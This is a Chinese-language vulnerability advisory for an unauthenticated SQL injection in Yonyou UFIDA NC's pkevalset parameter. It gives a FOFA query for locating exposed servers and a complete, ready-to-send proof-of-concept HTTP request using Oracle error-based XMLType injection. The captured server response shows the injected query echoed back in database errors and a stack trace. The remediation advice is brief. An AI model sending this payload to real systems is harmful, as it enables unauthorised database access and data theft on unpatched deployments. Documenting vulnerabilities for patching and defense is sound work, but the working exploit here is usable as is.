

用友NC-pkevalset-sql注入

漏洞描述

用友NC-pkevalset-sql注入漏洞，未授权的攻击者可执行恶意sql语句导致服务器数据库信息泄露甚至被攻陷。

影响版本

用友-UFIDA-NC

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：product="用友-UFIDA-NC"

poc:

```
GET /ebvp/expeval/expertschedule;1.jpg?pkevalset=1%27)%20AND%206913=
(SELECT%20UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(122)||CHR(120)||
|CHR(113)||
(SELECT%20(CASE%20WHEN%20(6913=6913)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)|
|CHR(113)||CHR(120)||CHR(122)||CHR(120)||CHR(113)||CHR(62)))%20FROM%20DUAL)%20AND
%20(%27REtI%27=%27REtI HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

发送请求

强制 HTTPS

历史

爆破示例

数据扫描

美化

热加载

构造请求

Request

1 GET /ebvp/expeval/expertschedule;1.jpg?pkevalset=1%27)%20AND%206913=(SELECT%20UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(122)||CHR(120)||CHR(113)||CHR(120)||CHR(122)||CHR(120)||CHR(113)||CHR(62)))%20FROM%20DUAL)%20AND%20(%27REtI%27=%27REtI HTTP/1.1

2 Host : 127.0.0.1

3 Upgrade-Insecure-Requests: 1

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36

5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

6 Accept-Encoding: gzip, deflate

7 Accept-Language: zh-CN,zh;q=0.9

8 Connection: close

Responses

17601bytes / 139ms

美化

渲染

编码

详情

85

.....dr=0 and pk_eval_set in ('1') AND 6913=(SELECT

86

.....UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR

87

.....(120)||CHR(122)||CHR(120)||CHR(113)||CHR(120)||CHR(122)||CHR(120)||CHR(113)||CHR(62)))

88

.....(CASE WHEN (6913=6913) THEN 1 ELSE 0 END) FROM

89

.....DUAL)||CHR(113)||CHR(120)||CHR(122)||CHR(120)||CHR

90

.....(113)||CHR(62))) FROM

91

.....DUAL) AND ('REtI'='REtI') and isnull(ec_eval_set,

92

.....dr,0)=0

93

.....#####type:EvalSetVO\$\$\$ORA-31011: XML 语法分析失败

94

.....ORA-19202: XML 处理

95

.....LPX-00110: Warning: 无效的 QName: "qxzxq1qxzxq"

96

.....(不是名称) Error at line

97

.....1 时出错 ORA-06512: 在 "SYS.XMLTYPE", line 310

98

.....ORA-06512: 在 line 1 at

99

.....nc.md.persist.framework.imp.VOQueryPersister.

100

.....queryBillsImp(VOQueryPersister.java:379)

101

.....at

102

.....nc.md.persist.framework.imp.VOQueryPersister.

103

.....queryBillsImp(VOQueryPersister.java:298)

104

.....at

105

.....nc.md.persist.framework.imp.MDBaseDAO.

106

.....queryBillofVOByCond(MDBaseDAO.java:181)

107

.....at

108

.....nc.md.persist.framework.imp.

109

.....MDPersistenceServiceImpl.queryBillofVOByCond

110

.....(MDPersistenceServiceImpl.java:151)

111

.....at sun.reflect.GeneratedMethodAccessor1045.invoke

112

.....(Unknown Source) at

113

.....sun.reflect.DelegatingMethodAccessorImpl.invoke

114

.....(DelegatingMethodAccessorImpl.java:37)

115

.....at java.lang.reflect.Method.invoke(Method.

116

.....java:611) at

117

.....nc.bs.framework.aop.rt.

118

.....MethodProceedingJoinpoint\$3.invoke

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本